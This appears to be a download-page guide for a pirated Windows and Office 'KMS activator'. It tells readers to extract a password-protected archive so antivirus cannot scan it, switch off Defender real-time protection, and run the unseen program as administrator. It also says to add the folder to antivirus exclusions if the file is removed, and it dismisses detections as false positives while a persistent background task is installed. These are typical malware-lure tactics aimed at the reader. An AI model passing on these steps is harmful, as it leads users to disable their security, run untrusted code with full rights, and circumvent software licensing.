How to Activate Windows — Step-by-Step 2026

1. Download and extract

Grab the package above. It comes as a password-protected .zip so the antivirus does not shred it in transit. Open it with WinRAR or 7-Zip, password 123456.

2. Pause the antivirus for a minute

Security tools flag every activator as a false positive because they touch licensing components — it is a category rule, not a verdict on this file. In Windows Defender: Virus & threat protection → Manage settings → Real-time protection → Off. You switch it back on at the end.

3. Run as administrator

Close your Office apps. Then right-click the activator → Run as administrator. Admin rights are required to register the local KMS server.

4. Press the red button

One button, one click, a few seconds of waiting. When the confirmation appears, both Windows and Office are activated: watermark gone, banners gone, personalization unlocked.

5. Confirm and wrap up

Open Settings → System → Activation: it should read "Windows is activated". Power users can also run slmgr /xpr in a terminal to see the license state. Re-enable the antivirus — a background task keeps renewing the activation every 180 days, so this is the last time you think about it.

Troubleshooting

• Nothing happens on click? You skipped "Run as administrator". Close and relaunch properly.
• File vanished? The antivirus ate it. Add the folder to exclusions, then extract again.
• Office still shows a banner? Restart the Office app — it reads the new license state on launch.
